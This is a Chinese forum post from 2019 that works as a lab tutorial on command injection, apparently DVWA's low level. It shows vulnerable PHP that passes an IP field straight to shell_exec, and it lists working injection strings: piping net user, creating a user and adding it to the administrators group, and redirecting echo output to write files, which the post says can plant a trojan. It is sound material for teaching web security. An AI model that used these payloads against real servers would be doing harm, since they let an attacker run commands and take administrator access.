bailancheng 发表于 2019-10-15 18:08:42

命令注入漏洞

本帖最后由 bailancheng 于 2019-10-16 22:11 编辑

命令注入漏洞low级别
漏洞概述:
漏洞产生原因:
在Web 程序中,因为业务功能需求要通过Web 前端传递参数到后台服务器上执行(特别是一些网络设备的Web 管理界面),但由于开发人员没有对输入进行严格的过滤,导致攻击者可以构造一些额外的“带有非法目的”命令,欺骗后台服务器执行。
漏洞危害:
如果Web 应用使用的是root权限,则该漏洞可以导致攻击者在服务器上执行任意命令。

low级别命令注入漏洞


low级别的源代码<?php

if( isset( $_POST[ 'submit' ] ) ) {

    $target = $_REQUEST[ 'ip' ];    //输入IP地址给target变量

    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) {
   
      $cmd = shell_exec( 'ping' . $target );   //执行shell.exec ping空格连接我们输入的IP地址给cmd函数
      echo '<pre>'.$cmd.'</pre>';   
      
    } else {
   
      $cmd = shell_exec( 'ping-c 3 ' . $target );   
      echo '<pre>'.$cmd.'</pre>';
      
    }
   
}
?>
shell_exec()函数可以在PHP中去执行操作系统命令,如果不对用户输入的命令进行过滤,那么理论上就可以执行任意系统命令,也就相当于直接获得了系统级的Shell。

命令执行语句       
        127.0.0.1 | net user
        127.0.0.1 | net user test 123 /add
        127.0.0.1 | net localgroup administrators test /add

“|”:前面命令输出结果作为后面命令的输入内容;

“&”:前面命令执行后接着执行后面的命令;

“||”:前面命令执行失败的时候才执行后面的命令;

“&&”:前面命令执行成功了才执行后面的命令。
Linux系统还可以使用分号(;)同时执行多条命令。

还可以使用重定向(>)在服务器中生成文件,或是使用(<)从事先准备好的文件读入命令等。
127.0.0.1 & echo test > c:\1.txt   //可以直接写入木马


页: [1]
查看完整版本: 命令注入漏洞